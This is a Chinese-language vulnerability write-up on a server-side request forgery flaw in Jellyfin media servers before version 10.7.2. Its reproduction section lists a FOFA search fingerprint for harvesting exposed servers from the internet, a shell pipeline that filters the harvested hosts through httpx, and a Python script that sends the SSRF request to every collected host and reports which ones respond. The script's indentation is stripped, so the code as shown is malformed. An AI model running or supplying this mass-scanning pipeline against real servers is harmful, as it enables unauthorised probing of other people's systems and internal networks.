漏洞簡介#
Jellyfin 是一個自由軟體媒體系統,可讓您控制媒體的管理和串流媒體。它是專有的 Emby 和 Plex 的替代品,可透過多個應用程式從專用伺服器向終端使用者設備提供媒體。Jellyfin 是 Emby 3.5.2 版本的後代,移植到.NET Core 框架以支援完整的跨平台支援。沒有任何附加條件,只是一個團隊想要更好地建構更好的東西並共同努力實現它,致力於讓所有使用者都能訪問最好的媒體系統。
Jellyfin RemoteImageController.cs 檔案中存在 SSRF 漏洞,通過構造特殊的請求,探測內網資訊。
影響版本#
Jellyfin < 10.7.2
漏洞複現#
fofa 搜索引擎的指紋為:"Jellyfin" && port="8096",用 Fofa 採集工具.exe 批量收集資產。
搜集到的資產結果會保存到同目錄的一個 result.csv 檔案中。
用 shell 命令篩選 IP 或者域名。
cat result.csv | awk -F "," '{print $2}' | httpx >> Jellyfin.txt
再用 python 腳本批量驗證。
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def Jellyfin():
with open("Jellyfin.txt") as file:
for line in file:
vuln_url = line + "/Images/Remote?imageUrl=http://www.baidu.com"
try:
response = requests.get(url=vuln_url, verify=False, timeout=10)
if response.status_code == 200:
print(vuln_url)
else:
pass
continue
except Exception as e:
pass
#print(e)
continue
def main():
Jellyfin()
if __name__ == '__main__':
main()
漏洞修復#
更新版本
參考連結#
關於 SSRF 漏洞,可以看這個博文: